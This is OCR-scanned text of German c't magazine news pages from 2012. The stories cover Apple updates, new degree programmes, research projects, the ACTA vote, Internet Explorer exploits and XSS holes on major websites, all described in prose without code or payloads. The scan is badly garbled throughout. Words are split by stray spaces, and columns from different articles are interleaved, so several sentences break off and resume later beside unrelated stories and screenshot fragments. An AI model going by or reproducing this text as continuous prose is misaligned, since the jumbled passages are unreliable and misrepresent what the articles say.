Vorträgen g i bt es auf der 
Apple-Website, bei  iTunes und 
iTu nes U .  E inen Bericht zur  
WWDC br ingt Mac & i on l i ne 
(s iehe c't-Lin k) .  

Mit der  U pdate-Version 1 .2 . 1  
behebt Apple schwerwiegen­
de Probleme des Thunder­
bolt-Updates 1 .2, das auf e in i ­
gen Rechnern das Booten von 
Mac OS X verh inderte. Ergänzt 
wird mit den beiden Aktua l i sie­
rungen die U nterstützung des 
Thu nderbolt-Gigabit-Ethernet­
Ada pters. Das U pdate setzt 
m indestens  Mac OS X 1 0.7.4 
voraus .  

Apple l iefert das Thunderbolt 
Display n u n  mit dem neuen, 
flacheren MagSafe-2-Ansch luss 
aus .  Für Macs m it dem a lten 
MagSafe-Ansch luss  l iegt e in  
Adapter bei . 

www.ct.de/12 75042 
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Per Fernstudium zum IT -Analysten 

Fachinformatiker mit Hochschu l ­
zugangsberechtigung  können 
s ich ab  dem Wintersemester 
201 2/1 3 an der Fachhochschu le  
Ka isers lautern (Campus  Zwei­
brücken) berufsbeg le itend zum 
IT-Ana lysten fortb i lden .  Der 
neue Fernstud iengang,  der 
Hochschu langaben zufolge auch 
.,Systemadmin istratoren, E lektro­
berufler  und andere EDV-Tätige" 
ansprechen so l l ,  d ie  bereits Er­
fah rungen mit Software-Ent­
wickl ung  gesam melt  haben (zu 
den Voraussetzungen siehe den 
nachfolgenden c't-L ink), i st auf 
neun Semester a nge legt und 
sch l ießt mit dem ., Bachelor of 

Science" ab .  Schwer­
punkt des Stud iums  
i s t  d ie .,Vert iefung wissenschaft­
l icher und praktischer Methoden 
von IT-Entwickl ungsprojekten 
und  deren ansch l ießender Be­
treuung und Umsetzung". 

Zu den Stud ien inha lten gehö­
ren u nter anderem Program­
mierkonzepte, IT- und Software­
a rch itektu ren, P rozessmanage­
ment und  Qua l itätss icheru ng .  
P ro Semester s ind v ier  Lernmo­
d u le vorgesehen, d ie jewei l s  m it 
e inem Präsenztag a n  der  Fach­
hochschu le  beg innen und  nach 
einer fü nf- b is  sechswöchigen 
Phase des Selbststud iums dort 

Masterstudiengang "Energietechnik11 am KIT 

An der .,School of Energy" des 
Kar lsruher I n stituts fü r Technolo­
g ie  (KIT) sta rtet zum kom men­
den Wintersemester 201 2/1 3 der 
neue Masterstud iengang ., Ener­
gietechn ik", der s ich an deutsche 

Die sieben Arbeitsbereiche des 
KIT-Zentrums Energie 

und aus länd ische Bachelor-Ab­
solventen der Fach r ichtungen 
Masch i nenbau,  Chemie- lnge­
n ieurwesen, Verfah rens-, E lektro­
und I nformationstechn ik  richtet. 
Neben Grund lagenwissen (Ther­
modynamik, Strömungs lehre, 
Stromerzeugung etc.) e rwerben 
Tei lnehmer Spezia lkenntn isse in 
selbst gewäh lten Bereichen wie 
.,Erneuerbare Energien und Ener­
g iespeicherung", .,Wärmekraft­
werke", ., Fus ionstechnolog ie" 
oder .,Chemische Energ ieträger". 
H i nzu kommen Veransta ltungen 
aus  dem Bereich .,Mathemati­
sche Methoden, Mode l lb i l dung  
und S imu lation" sowie e in  i nter­
d i szip l inäres Projekt und ein Be­
rufsprakt ikum. 

Das breite Fächerangebot im 
neuen Masterstud iengang ver­
setze d ie  Tei l nehmer in d ie Lage, 

Neue Informatik-Studienangebote in Zwickau 

Horch, Audi ,  Auto U n ion, Sach­
senr ing-Werke, Vol kswagen -
d ie  Automobi lp rodu kt ion i m  
sächsischen Zwicka u h a t  e ine 
lange Tradit ion.  An der  West­
sächsischen Hochschu le  Zwick­
au (WHZ) können Auto- und Ir­
I nteressierte künftig auch .,Kraft­
fah rzeug- I nformati k" stud ieren .  
Der  zum Wintersemester 201 2/1 3 
sta rtende Bachelor-Studiengang 
dauert s ieben Semester und ver­
mittelt neben klass ischen I n ha l ­
ten wie Prog rammierung,  Soft­
wa re-Entwickl ung  und  Daten­
bank-Technologien auch Grund­
lagen aus  den Bere ichen Kraft­
fah rzeugtechn ik, E lektro- und 
Rege lungstechn ik  sowie Fa h r-
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zeugkommun ikat ion.  E rfo lg rei­
chen Absolventen stünden viel­
fä lt ige Betätigungsmög l i chkei­
ten sowoh l  bei den Autoherstel­
lern selbst a l s  auch i n  der Zu l ie­
fer industr ie offen, u nterstreicht 
der Leiter der Fachgruppe I nfor­
mat ik, P rofessor Wolfgang Go­
l ubski . 

Para l l e l  dazu sta rtet a n  der 
WHZ zum Wintersemester der 
neue Stud iengang .,Gesund­
heitsinformatik". H ier  lernen Stu­
d ierende ., l nformationssysteme 
i m  Gesundhe itswesen" ken nen, 
ü ben den Umgang mit der .,S ig­
nal- und B i ldgewi n n u ng i n  der 
Medizi n" und erwerben Kennt­
n i sse der  ., Ep idemio logie und  

aktuel l ! Ausbi ldung 

Fachhochschule Un iversity of  
Kaiserslautern Appl ied Seiences 

auch wieder mit einem Präsenz­
tag ( i n  der  Rege l  F reitag oder 
Samstag) enden. E inmal  pro Jahr  
müssen Stud ierende a n  e iner  
zusätzl ichen Präsenzwoche tei l ­
nehmen .  Die Kosten pro  Modu l  
i nk lus ive .,v i rtue l le r  Lernkom­
ponenten" belaufen s ich auf 
65 Eu ro, h i nzu kommen Sozia l ­
beiträge der  Fachhochschu le  
Ka isers lautern (derzeit 79 Eu ro 
pro Semester). Bewerbungen 
können b is  zum 1 5 . Ju l i  e inge­
reicht werden.  (pmz) 

www.ct.de/11 15043 

systematisch i nterd i szi p l i nä re 
F rageste l l ungen i n  der Energ ie­
techn i k  zu ersch l ießen und  a n  
neuen Lösungen m itzua rbeiten, 
erklärt die Koord inator in der .,KIT 
School of Energy", Dr. Ju l i a  John­
sen.  Abgesehen von wenigen 
Ausnahmen (da nn  deutsch) 
werden d ie Leh rveransta ltungen 
i n  eng l ischer Sprache d u rch­
gefü h rt. N icht-Muttersprach ler  
müssen desha lb  e inen Nachweis 
über bestandene Sprachtests 
(TOEFL, IEL TS, CAE, CPE) erbr in­
gen.  Die Bewerbungsfrist für den 
zweijährigen Studiengang endet 
am 30. September 201 2; i nterna­
tionale Stud ierende, d ie fü r i h ren 
Aufenthalt  i n  Deutsch land ein 
Visum benötigen, sol lten s ich bis 
zum 1 5 . Jul i  bewerben. (pmz) 

www.ct.de/11 75043 

Biometrie". Zu den weiteren Stu­
d ien i n ha lten gehören wissens­
basierte Systeme in der Medizin, 
Gesundheits- und Krankenhaus­
ökonomie, Computerg rafi k oder 
auch .,takti sches I nformations­
management". A l s  späteres Be­
rufsumfeld kommen u nter ande­
rem IT-Abtei l u ngen in Kranken­
häusern, Vers icherungen 0der 
Kassenärztl ichen Verein igungen 
i n  F rage. Die Bewerbu ngsfrist 
für Kraftfah rzeug-I nformati k, Ge­
sundheitsinformati k sowie einen 
d ritten neuen Stud iengang 
(.. n u r" I nformatik) endet jewei l s  
am 1 5 . Ju l i .  (pmz) 

www.ct.de/11 15043 
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aktuel l I Forschung 

1 25 Jahre PTB - Tag der offenen Tür 

Die Physika l isch-Technische Bun­
desansta lt (PTB) in  Braunschweig 
lädt an lässlich i h res 1 25-jährigen 
Bestehens am 1 4. Jul i  (Samstag) 
zu einem Tag der offenen Tür ein .  
Als nationales Metrologie- Institut 
i st die PTB n icht nu r  fü r die Be­
wahrung von E inheiten wie 
Meter, Ki logramm oder Sekunde 
und die Bestimmung von Funda­
mental- ur.td Natu rkonstanten 
(z. B. Plancksches Wirkungsquan­
tum, Un iverse l le  Gaskonstante, 
Gravitationskonstante) zuständig 
- die Bundesoberbehörde mit 
1 800 Beschäftigten und einem 
Jah resetat von 1 30 M i l l ionen 
Euro prüft beispiel sweise auch, 
ob Bauartzulassungen fü r Wahl­
computer ertei lt werden können 

oder ob e lektronische Spielauto­
maten mit Gewin n mögl ichkeit 
den gesetzl ichen Vorgaben ent­
sprechen. 

Ab 1 5  Uhr haben Technikinte­
ressierte die Mög l ichkeit, mehr a ls  
30 Laboratorien auf dem Braun­
schweiger PTB-Gelände zu besu­
chen und s ich über d ie Arbeit 
dort zu i nformieren. Zum Pro­
gramm gehören außerdem meh­
rere wissenschaftl iche Vorträge 
(s iehe dazu auch den nach­
folgenden c't-Li nk) .  e ine Aus­
ste l l ung zu elektrischer Energie­
messtechn ik, e in  i nteraktiver 
Exkurs i n  Nanowelten, Besichti­
gungstouren in  die Ausbi ldungs­
bereiche der PTB sowie zah l ­
reiche kulturel le Aktivitäten .  Der 
E intritt i st frei ,  die städtischen 
Verkeh rsbetriebe richten einen 
Bus-Shutt le e in ,  der al le ha lbe 
Stunde zwischen dem Braun­
schweiger Stadttei l  Kanzlerfeld 
und der Physika l isch-Technischen 
Bundesanstalt verkehrt. (pmz) 

www.d.de/72 75044 

Präzise: Die Abweichungen 
der beiden Caesium-Fontänen- '� 
uhren der PTB betragen .� 
maximal eine Sekunde in => 

40 Mi l l ionen Jahren. � 

Kameras mit Gigapixel-Auflösung 

Mikrokameras vor dem Zusam­
menfügen der Bi lder weitgehend 
e l imin iert werden. 

Bis lang haben d ie Wissen­
schaftler der Duke Un iversity, der 
University of Arizona, der U niver­
s ity of Ca l iforn ia i n  San Diego 
und der Distant Focus Corporati­
on zwei Kameramodel le  fü r das 
AWARE-Projekt C.Advanced Wide 
FOV Architectures (or I mage Re­
construction and Exploitation") 
der  DARPA gebaut. Das i n  
.. Natu re" vorgeste l lte Model l  
.. AWARE-2" kommt mit 98 Mikro­
kameras auf e ine B i ldauflösung 

Forscher mehrerer amerikan i­
scher Universitäten entwickeln im 
Auftrag der .,Defense Advanced 
Resea rch Projects Agency" 
(DARPA) des US-Verteid igungs­
min isteriums Kamerasysteme, die 
Bi lder mit Gigapixel-Auflösung 
aufnehmen können. Wie s ie im 
Wissenschaftsmagazin .,Nature" 
berichten, nutzen die I ngenieure 
dafü r  eine monozentrische Ku­
gel l i nse mit einem Sichtfeld von 
1 20 Grad horizonta l und 50 Grad 
vertika l ,  h inter der ein ganzes 
Array von Mikrokameras mit je­
wei l s  eigener Optik und 1 4-
Megapixei-Bi ldsensor sitzt. Die in  
Öffnungen einer ha lbkugelförmi­
gen Meta l lschale von der Größe 
eines Salatsiebs eingepassten Mi­
krokameras Ge nach Model l  bis zu 
über 200 Stück) s ind jewei l s  für 
einen eigenen Bi ldausschn itt zu­
ständig und können Scharfstel- � 
lung sowie Belichtung ind ividuel l  ·� �--­
regeln. Eine integrierte Korrektur- � 
Software sorgt dafür, dass du rch � 
Verzerrungen hervorgerufene 6. 
optische Abbi ldungsfeh ler der � 
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Größter Fahrsimulator Europas 

Das Institut für Verbrennungsmo­
toren und Kraftfah rwesen ( IVK) an 
der Universität Stuttgart und das 
Forschungs institut fü r Kraftfah r­
wesen und Fahrzeugmotoren 
Stuttgart (FKFS) haben Ende Jun i  
den eigenen Angaben zufolge 
g rößten und le istungsfäh igsten 
Fahrs im u lator Europas an  e iner 
Forschungse inrichtung offizie l l  i n  
Betrieb genommen. Das  mehr  a l s  
sieben Mi l l ionen Euro teu re Sys­
tem ist mit e iner Acht-Achsen­
Techn ik  ausgestattet, über die 
kombin ierte Translations- und 
Rotationsbewegungen erzeugt 
werden können.  I m  I nnenraum 
der  auf  einem Hexapod gelager­
ten S imu lator-Kuppel sorgen 1 2  
LED-Projektoren für v i rtue l le 
Straßen- und Umgebungsbi lder. 

von 1 .4 Gigapixel (s iehe c't-Li nk) .  
D ie Deta i lgenau igkeit ist den 
Angaben zufolge so hoch, dass 
auf einer im Snapshot-Modus ge­
machten Aufnahme selbst 800 
Meter entfernte Straßenschi lder 
noch entziffert werden können .  
E insatzbereit i st zudem e in 2-
Gigapixei-Prototyp, der mit  226 
M ikrokameras ausgestattet i st -
und selbst 1 0- oder 50-Gigapixei­
Va rianten sind laut den Wissen­
schaftlern keine Utopie. 

Dafü r müssen aber zunächst 
vor a l lem d ie elektron ischen 
Komponenten schrumpfen:  Wäh-

Gigapixel­
Aufnahme der 
Skyl ine von 
Seattle mit 
Deta i lansichten 
(unten) 

E ingesetzt werden soll der 
Fahrs imu lator sowoh l  i n  der  
Grund lagenforschung a l s  auch 
bei Verbundprojekten mit der 
Automobi l i ndustrie. Das Projekt 
ist Tei l  des VALIDATE-Pro­
gramms (Vi rtua l  Automotive Lab 
for l nteg rated Dig ita l Automati­
on Technolog ies). das vom Bun­
desmin isteriu m  fü r B i ldung und 
Forschung (BMBF)  mit i nsgesamt 
3.7 M i l l ionen E u ro gefördert 
wi rd, und  des baden-wü rttem­
berg ischen Elektromobi l itätspro­
g ramms .. E lefAnt" (E lektrofah r­
zeuge und  -Antriebe). Schwer­
punkt von ., E lefAnt" i st d ie Ent­
wickl ung von Assistenzsystemen 
für i ntel l i gentes Energiemanage­
ment und präzise Reichweiten­
vorhersagen. (pmz) 

Mit dem neuen 
Fahrsimulator 
der Uni Stuttgart 
lassen sich Hub-, 
Nick-, Wank­
und Gier­
bewegungen 
erzeugen. 

rend sämtl iche optischen Ele­
mente im 0,75 Meter x 0.75 Meter 
x 0,5 Meter g roßen Gehäuse des 
1 .4-Gigapixei-Model l s  led ig l ich 
3 Prozent des Volumens belegen, 
i st der Rest für Schaltungen, Pro­
zessoren, Verkabelung, Stromver­
sorgung und Küh lung reserviert ­
bis zu einem Transport in der Ho­
sentasche dü rfte a lso noch einige 
Zeit vergehen.  E in  weiteres Pro­
blem ist d ie Vera rbeitung der 
enormen Datenmengen. Derzeit 
dauerte es rund 1 8  Sekunden, bis 
aus den Einzelaufnahmen der Mi­
krokaQ1eras ein fertiges Schwarz­
weiß-Bi ld entsteht. Auch der Preis 
ist nicht ohne: Rund 1 00 000 US­
Dol lar veranschlagen die Wissen­
schaftler aktuel l  für den Bau einer 
e inzigen Kamera .  Für  die DARPA, 
d ie das Projekt mit 25 Mi l l ionen 
Dol l a r  fördert, wäre e in  E insatz 
der Techn ik  beispielsweise i n  
F lugdrohnen oder de r  automati­
s ierten Überwachung von Grenz­
abschn itten denkbar. (pmz) 

www.d.de/72 75044 
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aktuel l ! Copyright 

Stefan Krempl 

ACTA vorerst am Ende 
Keine Mehrheit fü r das Anti-Pi raterie-Abkommen im Europarlament 
Anfang Ju l i  sol len die europäischen Vol ksvertreter ü ber das Anti-Counterfeiting Trade 
Ag reement abstimmen. Fünf Ausschüsse haben sich bereits gegen den Vertrag 
ausgesprochen. Doch die EU-Kom mission wi l l  sich noch nicht geschlagen geben. 

D er bei ACTA federfüh rende 
Handelsausschuss des EU­

Parlaments hat dem umstrittenen 
Anti-Piraterie-Abkommen einen 
weiteren Dämpfer verpasst: Das 
Gremium sprach sich mit 19 zu 1 2  
Stimmen gegen die Ratifizierung 
aus.  Die Mehrheit der Abgeord­
neten folgte dem Vorsch lag des 
Berichterstatters David Martin .  
Nach Ans icht des schottischen 
Labeur-Abgeordneten wiegt die 
Besorgnis, dass ACTA Grundrech­
te und die Netzfrei heit beein­
trächtigen könnte, schwerer a ls 
Hoffnungen auf eine bessere in­
ternationale Bekämpfung von 
Rechtsverletzungen [ 1 ] .  

Ende Mai  hatten bereits der 
I n nen-, der I ndustrie- und der 
Rechtsausschuss d ie S igna le auf 
Rot gestel lt. Anfang Jun i  lehnte 
auch der Entwickl ungsausschuss 
ACTA ab.  Das Votum der Han­
delspol it iker g i lt nun  a l s  Empfeh­
lung fü r d ie entscheidende Ab­
stimmung im  Par lament am 
4. Ju l i .  Folgt die Vo l lversamm­
lung wie erwartet dem Votum 
der Ausschüsse, i s t  das Abkom­
men internat ional zunächst vom 
Tisch. Mart in geht davon aus, 
dass es auch einzelne Mitg l ieds­
staaten ohne EU-Ratifizierung 
n icht in  Kraft setzen könnten. 

Heftige Debatte 

und bei Importen die organis ierte 
Krim ina l ität vorherrsche. Die 
Übere inkunft verbessere d ie in­
ternat ionale Zusammenarbeit 
zwischen Zol lbehörden und die 
Regeln zur Besch lagnahme ge­
fä lschter Güter. 

Vor der Entwickl ung  e i nes 
Schwarzmarkts im I nternet war­
nen Mediengewerkschaften .  
ACTA i st i n  i h ren Augen  geeig­
net, d ie  Rechte von Medien­
schaffenden und Kü nst lern im 
d ig ita len Zeita lter zu stä rken .  
Vie lfach verberge s ich h i nter 
dem Aufhänger  der  Me inungs­
frei heit der  Wu nsch, a uf mög­
l ichst viele I nha lte kostenfrei zu­
zug reifen.  Kreative aus dem Mu­
s ikgeschäft rügen, dass man 
zwa r mensch l iche Werte, n icht 
aber d ie  Technolog ie i n  F rage 
ste l len dü rfe. I h re Rechte a l s  
Künst ler würden a l s  "pol it ischer 
Fußba l l " m i ssbraucht, u m  die 
Agenda Dritter du rchzudrücken.  
I l lega le Aktivitäten i n  Peer-tc­
Peer-Netzwerken, .Sharehost ing 
und P i ratenseiten hätten s ich zu 
einem Mu lti-M i l l ia rden-Geschäft 
entwicke lt, dem se lbstständ ige 
Schöpfer n ichts entgegensetzen 
könnten. 

Das i n  ACTA entha ltene lnter­
netkapitel öffne d ie  Tü r fü r d ie  
Krim ina l is ierung vieler bestehen­
der rechtmäßiger On l ine-Dienste 
und  i h rer Nutzer, ha lten dem 
Vertreter von Bürgerrechtsorga­
n i sationen wie La Quadrature d u  
Net entgegen.  G le ichzeit ig 
würde die d ri ngend nötige 
grund legende Reform des Pa­
tent- und U rheberrechts verzö­
gert. Die I nternetwi rtschaft stört 
s ich vor a l lem an den vorgesehe­
nen "fre iwi l l igen Kooperat ions­
model len" zwischen Providern 
und Rechte inhabern, bei denen 
s ie s ich i n  d ie  Rol le  des Netz­
H i lfssheriffs gedrängt sieht. 

ln der  Verei n igung Med ic ins  
Sans F rontieres organ is ierte 
Ärzte beklagen e ine "Landnah­
me" der  Rechtein ha ber  und 
fü rchten, ACTA könne Auswir­
kungen auf den Handel  mit Ge­
nerika haben und so die Versor­
gung  der  Entwickl ungs länder  
mit  b i l l igen Med i ka menten un­
tergraben. Auch  viele Rechtswis­
senschaftler laufen Sturm gegen 
ACTA. S ie krit is ieren bereits das 
undu rchs icht ige Zustandekom­
men des Vertrags, den vor a l lem 
Austra l ien,  Japan,  Kanada,  d ie 

USA und d ie  EU ohne E in bezie­
hen der I nteressengruppen und 
über weite Strecken im Rahmen 
der "Geheimd ip lomatie" voran­
getrieben haben. 

E in ige der Ei nwände nahmen 
die Verhand lungsfüh rer zwar auf 
öffentl ichen Druck hin noch auf 
und entschärften das Überein­
kommen.  Vage Begriffl ichkeiten 
veruns ichern Beobachter aber 
nach wie vor und tr ieben im Feb­
ruar vor a l len in EU-Staaten wie 
Polen und Deutsch land Hundert­
tausende zu Anti-ACT A-Protes­
ten auf d ie  Straßen.  Für  die De­
monstranten i st der Vertrag zu 
einem Symbol für eine wachsen­
de Dom i nanz des Systems des 
"geist igen E igentums" gewor­
den, das eine Anpassung des U r­
heberrechts an d ie Belange der 
d ig ita len Gesel lschaft verh indert. 

Per Aspera . . .  

Die EU-Kommission bemüht sich 
u nterdessen weiter, d ie  vorge­
brachten Beden ken zu entkräf­
ten. Hande lskommissar Ka re! 
De Gucht betont, ACTA sei kei n  
B ig  Brother. Vie lmehr  hänge die 
Wettbewerbsfäh igkeit der EU 
von dem Abkommen ab.  Sank­
t ionen fü r von I nternetnutzern 
begangene U rheberrechtsverlet­
zungen wie d ie  in e in igen EU­
Ländern d i skut ierten I nternet­
sperren fü r Wiederho lungstäter 
seien n icht enthalten.  Der Bel­
g ier  appel l iert an  die Volksvertre­
ter, vor e iner  Entscheid ung d ie 
E inschätzu ng des Eu ropä ischen 
Gerichtshofs (EuGH) abzuwarten. 
Die Kommission hat dem höchs­
ten eu ropäischen Gericht d ie  
F rage vorgelegt, ob d ie Überein-
kunft mit dem bestehenden EU­
Recht und der  Grund rechte­
Charta vere inbar  ist. 

Ende Juni versicherte De Gucht, 
"e in ige Kla rstel l u ngen zu ACTA 
vorzuschlagen" - vor a l lem zum 
heiß d iskutierten I nternetkapiteL 
Lehnt das Par lament Anfang Ju l i  
ab, w i l l  der  Hande l skommissar 
das Abkommen den Abgeordne­
ten nach der Ste l l ungnahme des 
EuGH ein zweites Mal vorlegen.  
Die ACTA-Saga könnte a l so wei­
tergehen. Der Verhand lungsfüh­
rer der  Vol ksvertreter betonte 
vor Ku rzem ebenfa l ls, dass ein a l -
ternativer Weg Europas zum 
Schutz i mmaterie l le r  Güter  ge­

_g. funden werden müsse und 

Der  internationa le Vertrag, m i t  
dem d ie  unterzeichnenden Staa­
ten ihre Zusammenarbeit bei der 
Bekämpfung von Produktpi rate­
rie und Marken- sowie U rheber­
rechtsverletzungen verbessern 
wol len, ist seit Monaten Gegen­
stand einer heftigen Debatte. 
"Wir ver l ieren unsere Wett­
bewerbskraft", brach Adrian van 
den Hoven vom europäischen l n­
dustrieverband Bus iness Europe 
un längst eine Lanze fü r das Ab­
kommen. 50 bis 80 Prozent der 
Wertschöpfung in  Europa beruh­
ten auf immateriel len Gütern, 
wäh rend Handelspartner wie 
China auf Fälschungen setzten 

• .-.... ! dabei  a l l e  Vertragspartner an  
den Verha nd l ungstisch zurück-
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Die Proteste gegen ACTA - wie hier in München ­
sind nicht ohne Wirkung geblieben. 

keh ren kön nten. Mart in  h ie lt  
fest, dass ACTA e ine solche Be-
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stimmung  zu Nachverhand l un­
gen vorsehe. 

. . .  doch noch ad ACTA 

.,Man ka nn  aus  ACTA noch e in  
ordent l iches Abkommen ma­
chen", g laubt Dan ie l  Caspary von 
der CDU . ., E inen Patienten, der 
e ine leichte Erkä ltung hat, sol lte 
man versuchen zu ku rieren und 
n icht  g le ich u m br ingen", skiz­
ziert der EU-Abgeord nete d ie  
L in ie  sei ner  F rakt ion .  Korrektu­
ren seien auch über Zusatzpro­
tokol le mög l ich .  Amel ia Anders­
dotter von der F raktion der Grü­
nen wi l l  d ie  Ha l tung des Par la­
ments dagegen a l s  S igna l  
verstanden wissen, dass  weitere 

Reformen des frag mentierten 
Systems d ri ngend nötig seien.  
Zunächst sei das interne EU-Pro­
b lem zu lösen, dass d ie  Mit­
g l ieds länder sehr  u ntersch ied l i ­
che Kata loge mögl icher Nutzer­
rechte u mgesetzt haben.  A ls  
weitere Baustel le  steht i n  Brüssel 
die Nove l le  der  R icht l i n ie  zur 
besseren Du rchsetzung der 
Rechte an  immater ie l len Gütern 
an, die ä h n l iche F ronten wie 
ACTA öffnen dü rfte. 

ln den USA ist unterdessen die 
Obama-Reg ierung fü r i h re Ha l ­
tung zu ACTA weiter in  die Krit ik 
geraten. 50 renommierte Rechts­
professoren wiesen den US-Senat 
im Mai in e inem offenen Brief 
darauf h in, dass das Abkommen 

Angriffe auf Internet Explorer 

Zwei kriti sche S icherheits lücken 
im I nternet Explorer werden 
aktiv fü r Ang riffe ausgen utzt. 
E ine Lücke hat Microsoft an sei­
nem Jun i-Patchday �eschlossen, 
fü r d ie andere konnte das U nter­
nehmen bis Redaktionssch luss  
nu r  e inen  behelfsmäßigen Patch 
in Form ei nes F ix lt-Tools (s iehe 
c't-Link) anbieten.  Anders a l s  der 
Patch fü r d ie erste Schwachste l le  
wird das Tool n icht automatisch 
über Windows Update vertei lt. 

Dabei hat es die Lücke du rch­
aus in  s ich: Goog le l ieß du rchbl i ­
cken, dass d ie Schwachste l le  in 
den Microsoft XML Core Services 
woh l  gezielt zum Ausspionieren 
von Gmai i -Nutzern e ingesetzt 

wird - und zwar  in staatl ichem 
Auftrag. Um seine N utzer zu 
schützen, hat Goog le eine Warn­
funktion entwickelt, die den Aus­
spionierten einen H inweis an­
zeigt. M ittlerwei le g ibt es e in  
Modu l  für dc;�s Angriffsframework 
Metasploit, mit dem jedermann  
die Schwachstel le für seine Zwe­
cke missbrauchen kann .  Auch fü r 
die bereits gepatchte I E-Lücke ist 
seit kurzem ein Metasploit-Modu l  
im Umlauf. Wer d e n  I nternet Ex­
p lorer nutzt, sol lte a lso schleu­
n igst noch ausstehende Win­
dows-U pdates insta l l ieren sowie 
das Fixlt-Tool anwenden. (rei) 

www.d.de/1215047 

1 9-jähriger entdeckt Lücken auf 1 SO Webseiten 

Flor ian Gümbel, ein 1 9-jäh riger 
Leser von heise Secur ity, hat 
Schwachstel len auf über 1 50 nam­
haften Webseiten wie Bitkom. 
org,  Buh l .de, s icherheit.eco.de, 
Ferrari.com, KabeiBW.de, Wetter. 
de und Zu rich.de entdeckt. Bei 
den Lücken handelt es sich um 
sogenannte Cross-Site-Scr ipting­
Lücken (XSS), du rch d ie e in An­
g reifer eigenen Code i n  d ie 
verwundbaren Seiten e insch leu­
sen kann; etwa u m  Zugangsda­
ten zu stehlen oder Schadcode zu 
verbreiten. 

Außer der schieren Anzah l  der 
verwundbaren Webseiten über­
rascht auch der Anteil der überre­
gional bekannten lnternetpräsen­
zen. Dabei ist Cross-Site-Scripting 
bei weitem kein neues Phänomen: 
heise Secu rity berichtete bereits 
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im Jahr 2003 ausführl ich über da­
raus resu ltierende Gefahren. 

Auf d ie Webseite der Zurich­
Vers icherung hätten Angreifer 
etwa ein Log in-Formu la r  e in­
schleusen können, das d ie dort 
eingegebenen Zugangsdaten an 
e inen fremden Server schickt. Wir  
haben d ie Setreiber zah l reicher 
Webseiten über das S icherheits­
problem i nformiert. Damit stie­
ßen wir n icht in  a l len Fä l len auf 
I nteresse: Wäh rend etwa d ie 
Lücke be i  Buh l  Data noch am sel­
ben Tag gesch lossen wurde, 
b l ieb unsere Anfrage an  die Zu­
rich-Versicherung auch nach zwei 
Wochen u n beantwortet - erst 
nachdem wir  auf heise Secu rity 
über die Sicherheitsprobleme be­
richteten, reagierte das U nter­
nehmen. (rei) 

ohne nachträgl iche Zustimmung 
des Kongresses nicht in  Kraft tre­
ten könne.  Es gehe dabei n icht 
um die Angemessenheit der 
ACTA-Inha lte, sondern um funda­
menta le F ragen der Gewaltentei­
l ung, sch reiben die Experten. Ins­
besondere die Senatoren, die fü r 
d ie Anerkennung völkerrechtl i­
cher Ü bereinkünfte zuständig 
seien, müssten hier i h rer Verant­
wortung gerecht werden und die 
Sache eingehend etwa mithi lfe 
öffentl icher Anhörungen prüfen. 

Die G8-Staaten beraten der­
wei l über e ine mög l iche Nachfol­
geregel ung:  Die .,European Digi­
ta l  R ig hts"- ln it iative veröffent­
l ichte u n längst einen Entwurf fü r 
e inen Besch l u ss zum besseren 

aktuel l ! Copyright, Sicherheit 

.,Schutz ge 1st 1gen Eigentums". 
Die dar in  entha ltenen Vorschlä­
ge sol len s ich auf Produkt­
fä l schungen besch ränken. Im  
Vorderg rund stehen .,freiwi l l ige 
Maßnahmen zur  Absicheru ng 
g lobaler Lieferketten" und die Si­
cherheit von Arzneimitte ln .  Aber 
auch bei Bem ühu ngen, rechts­
widr ige On l i ne-Angebote dicht­
zumachen, wi l l  d ie I n itiative a l le  
Reg i ster ziehen. (vbr) 

Literatur  

[ 1 ] Monika Ermert, Holger Bleich, 

Verschärfte Regeln, ACTA sol l  Ur­

heberrecht und Patente stärken -

auf Kosten der Bü rger?, c't 22/1 0, 
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@ Sicherheits-Notizen 

Phisher versuchen derzeit; Zu­
gangsdaten zur Packstation 
abzugreifen, indem sie den Mai i­
Empfänger mit seinem Namen 
ansprechen und seine tatsäch­
l iche Postnummer angeben. 

Microsofts Härtungstool EMET 
lässt sich i n  Vers ion 3.0 besser 
im Netzwerk verte i len und 
informiert, wen n  es Prozesse 
aus  S icherheitsg ründen be­
endet. 

N u l l soft hat mit Winamp-Ver­
s ion 5.6.3.3234 d re i  kr it ische 
Lücken geschlossen, du rch d ie 

0 
ZURICH" Zurich Versicherung 

:· t . 

Suchen nach in 

man sein System beim Öffnen 
präpar ierter AVI-Dateien mit 
Schadcode i nfizieren kann.  

Die PHP-Entwickler haben mit 
den Versionen 5 .4.4 und 5.3. 1 4  
über 3 0  Bugs beseitigt, darun­
ter mehrere Sicherheitslücken. 

McAfee hat einen Ring von On­
l ine-Banking-Betrügern ent­
deckt, der es vor a l lem auf F i r­
men abgesehen hatte. Die Ab­
zocker versuchten über 60 Mi l­
l ionen Euro abzubuchen, davon 
rund 1 M i l l ion von deutschen 
Konten.  

l allen Bereichen FJ 
» Mehr Suchoptionen 

Leider kein Erg,ltmis_�· ==========� Lieber User: 
Bitte loggen Sie sich ein, um den 
Fortgang fortzusetzen! 

Benutzername 

Passwort 
Ihre Suche nach ·-1'-------------' 

. ergab 0 Treff;,.·LIIil------"'""'-"""'-� 
Suchwort. 

Löchrig: Durch eine Schwachstelle hätte man die Webseite der 
Zurich Versicherung für Phishing missbrauchen können. Das rot 
markierte Formular wurde durch die Lücke eingeschleust. 
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aktuell I Leistungsschutzrecht 

Holger Bleich 

U mstrittener 
Schnipselschutz 
Das geplante Leistungsschutzrecht wird konkret 

Ein "Lex Google" soll künftig Verlage vor der unbezahlten 
kommerziellen Verbreitung ihrer Inhalte auf fremden 
Websites schützen. Der erste Gesetzentwurf des Bundes­
justizministeriums schießt a l lerdings weit ü ber dieses 
Ziel hinaus.  Kritiker befü rchten angesichts des Papiers, 
dass das neue Sch utzrecht die freie Kom munikation 
im Internet gefährden wird. 

D ie Pläne der Bundesreg ie­
rung zu einem ,.Schutzrecht 

für Presseverleg er" gegen die un­
gefragte Übernahme von Texten 
im Web haben Gesta lt angenom­
men. Der erste Referentenent­
wurf des sogenannten Leistungs­
schutzrechts wird zurzeit in  den 
zuständigen Min i sterien d isku­
tiert. Er besteht aus einem klei­
nen Änderungsvorsch lag zum 
Urheberrecht, der es jedoch in 
sich hat. Es handelt s ich um nicht 
weniger a ls  e in neues sogenann­
tes Immater ia lgüterrecht, das 
aussch l ieß l ich den Ver lagen a ls 
Verwertern, nicht aber den U rhe­
bern selbst zugutekommt 

Dem Entwurf zufolge sol l  
einem ,.Presseverleger das aus­
schließl iche Recht" zustehen, ,.das 
Presseerzeugnis  oder Tei le  h ier­
von zu gewerblichen Zwecken öf­
fentl ich zugängl ich zu machen" ­
und das für ein vol les Jahr. ln kri­
tischen Beiträgen läuft die ge­
plante Regelung oft u nter dem 
